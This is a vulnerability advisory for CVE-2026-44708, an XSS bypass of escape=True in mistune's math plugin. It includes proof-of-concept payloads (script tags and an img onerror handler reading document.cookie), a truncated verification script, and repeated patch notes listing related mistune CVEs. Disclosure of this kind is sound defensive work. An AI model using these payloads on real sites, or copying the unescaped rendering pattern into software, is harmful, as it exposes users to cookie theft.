CVE-2026-44708

Summary

The mistune math plugin renders inline math ($...$) and block math ($$...$$) by concatenating the raw user-supplied content directly into the HTML output without any HTML escaping. This occurs even when the parser is explicitly created with escape=True, which is supposed to guarantee that all user-controlled text is sanitised before reaching the DOM.

The result is a silent contract violation: a developer who enables escape=True reasonably expects complete XSS protection, but the math plugin operates as an independent render path that ignores the renderer's _escape flag entirely.

Details

File: src/mistune/plugins/math.py

def render_inline_math(renderer, text):
    # `text` is raw user input — no escape() call anywhere
    return r'<span class="math">\(' + text + r"\)</span>"

def render_block_math(renderer, text):
    # same issue for block-level $$...$$
    return '<div class="math">$$\n' + text + "\n$$</div>\n"

Both functions take text directly from the parsed token and concatenate it into the output string. Neither function:

• calls escape(text) from mistune.util
• checks renderer._escape
• calls safe_entity(text) or any other sanitisation helper

The escape=True flag only influences the main HTMLRenderer methods (paragraph, heading, codespan, etc.). Plugin render functions registered via md.renderer.register() receive the renderer instance but have no mechanism that enforces the escape contract - they must opt in manually, and math.py does not.

PoC

Step 1 — Establish the baseline (escape=True works for plain HTML)

The script creates a markdown parser with escape=True and the math plugin enabled, then feeds it a raw <script> tag that is not inside math delimiters:

md = create_markdown(escape=True, plugins=["math"])
bl_src = "<script>alert(document.cookie)</script>\n"
bl_out = str(md(bl_src))

Expected and actual output — the script tag is correctly escaped:

<p>&lt;script&gt;alert(document.cookie)&lt;/script&gt;</p>

This confirms escape=True is working for the normal render path.

Step 2 — Craft the exploit payload

Wrap the identical <script> payload inside inline math delimiters $...$. The content is token-extracted as text and handed to render_inline_math():

ex_src = "$<script>alert(document.cookie)</script>$\n"
ex_out = str(md(ex_src))

Step 3 — Observe the bypass

Actual output — the script tag is emitted raw, unescaped:

<p><span class="math">\(<script>alert(document.cookie)</script>\)</span></p>

The <script> block is live inside the <span class="math"> wrapper. Any browser that renders this HTML will execute alert(document.cookie).

Step 4 — Block math variant ($$...$$)

The same bypass applies to block-level math. Payload:

$$
<img src=x onerror="alert(document.cookie)">
$$

Output:

<div class="math">$$
<img src=x onerror="alert(document.cookie)">
$$</div>

The onerror handler fires as soon as the browser tries to load the non-existent image x.

Script

A verification script was written to test this issue. It creates a HTML page showing the bypass rendering in the browser.

#!/usr/bin/env python3
"""H1: Math plugin bypasses escape=True — HTML inside $...$ passes through raw."""
import os, html as h
from mistune import create_markdown

md = create_markdown(escape=True, plugins=["math"])

# --- baseline ---
bl_file = "baseline_h1.md"
bl_src  = "<script>alert(document.cookie)</script>\n"
with open(os.path.join(os.getcwd(), bl_file), "w") as f:
    f.write(bl_src)
bl_out = str(md(bl_src))

print(f"[{bl_file}]\n{bl_src}")
print("[output — escape=True works normally here]")
print(bl_out)

# --- exploit ---
ex_file = "exploit_h1.md"
ex_src  = "$<script>alert(document.cookie)</script>$\n"
with open(os.path.join(os.getcwd(), ex_file), "w") as f:
    f.write(ex_src)
ex_out = str(md(ex_src))
…

Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.2.1, the mistune math plugin renders inline math ($...$) and block math ($$...$$) by concatenating the raw user-supplied content directly into the HTML output without any HTML escaping. This occurs even when the parser is explicitly created with escape=True, which is supposed to guarantee that all user-controlled text is sanitised before reaching the DOM. This vulnerability is fixed in 3.2.1.

Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.2.1, the mistune math plugin renders inline math ($...$) and block math ($$...$$) by concatenating the raw user-supplied content directly into the HTML output without any HTML escaping. This occurs even when the parser is explicitly created with escape=True, which is supposed to guarantee that all user-controlled text is sanitised before reaching the DOM. This vulnerability is fixed in 3.2.1.

Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.2.1, the mistune math plugin renders inline math ($...$) and block math ($$...$$) by concatenating the raw user-supplied content directly into the HTML output without any HTML escaping. This occurs even when the parser is explicitly created with escape=True, which is supposed to guarantee that all user-controlled text is sanitised before reaching the DOM. This vulnerability is fixed in 3.2.1.

This update for python-mistune fixes the following issues

• CVE-2026-33079: ReDoS in LINK_TITLE_RE can lead to denial of service via a crafted Markdown (bsc#1264347).
• CVE-2026-33441: processing of malformed reference links can lead to excessive resource consumption and denial of service (bsc#1264752).
• CVE-2026-44708: improper HTML escaping in the math plugin can lead to XSS (bsc#1264751).
• CVE-2026-44896: improper escaping in render_figure can lead to attribute injection and XSS (bsc#1264754).
• CVE-2026-44897: improper sanitization of user-controlled input in HTMLRenderer.heading can lead to XSS (bsc#1264750).
• CVE-2026-44898: improper sanitization of user-supplied HTML input in render_toc_ul can lead to XSS (bsc#1265052).
• CVE-2026-44899: improper input verification in Image directive plugin and improper escaping in render_block_image can lead to CSS injection (bsc#1265053).

This update for python-mistune fixes the following issues

• CVE-2026-33079: ReDoS in LINK_TITLE_RE can lead to denial of service via a crafted Markdown (bsc#1264347).
• CVE-2026-33441: processing of malformed reference links can lead to excessive resource consumption and denial of service (bsc#1264752).
• CVE-2026-44708: improper HTML escaping in the math plugin can lead to XSS (bsc#1264751).
• CVE-2026-44896: improper escaping in render_figure can lead to attribute injection and XSS (bsc#1264754).
• CVE-2026-44897: improper sanitization of user-controlled input in HTMLRenderer.heading can lead to XSS (bsc#1264750).
• CVE-2026-44898: improper sanitization of user-supplied HTML input in render_toc_ul can lead to XSS (bsc#1265052).
• CVE-2026-44899: improper input verification in Image directive plugin and improper escaping in render_block_image can lead to CSS injection (bsc#1265053).